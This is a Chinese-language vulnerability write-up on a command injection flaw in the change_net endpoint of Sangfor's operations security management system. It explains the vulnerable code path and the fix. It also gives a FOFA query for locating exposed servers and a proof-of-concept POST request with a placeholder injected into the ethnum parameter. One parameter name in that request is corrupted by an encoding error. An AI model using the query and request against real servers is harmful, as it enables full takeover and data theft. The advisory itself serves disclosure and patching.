漏洞简介
深信服运维安全管理系统 change_net 接口存在远程命令执行漏洞。攻击者可通过构造恶意的请求,利用该漏洞在目标服务器上执行任意命令,从而可能导致服务器被完全控制、敏感数据泄露等严重后果。影响范围包括所有运行存在该漏洞版本的深信服运维安全管理系统的服务器。
影响版本
低于 3.0.12 20241106
fofa语法
body="/fort/login" && header="FORTSESSIONID"
漏洞分析
看下 com.sbr.fort.web.controller.system.netconfig.NetConfigController#changeNet的实现逻辑

从请求获取多个参数如ethnum、address、netmask、bnum等等,然后对这些参数进行拼接


拼接完成后

调用ShellExecutor类的exe方法进行执行shell脚本,从而造成命令执行漏洞。
漏洞修复的版本在命令执行时,增加了一个clean方法对特殊字符的替换操作


紧接着的 change_gate_way 亦如此,参数ethnum与gateway直接拼接进cmd中后调用executor.exe执行

漏洞复现

POC
多个参数均存在命令注入漏洞,这里以ethnum为例
POST /fort/system;help/netConfig/change_net HTTP/1.1
Host: sangfor_osm.mrxn.net
Content-Type: application/x-www-form-urlencoded
sta=static&ipv=4ðnum=RCE_POC &address=1.1.1.1&netmask=2.2.2.2&gateWay=3.3.3.3
访问命令执行结果文件

成功得到命令执行结果

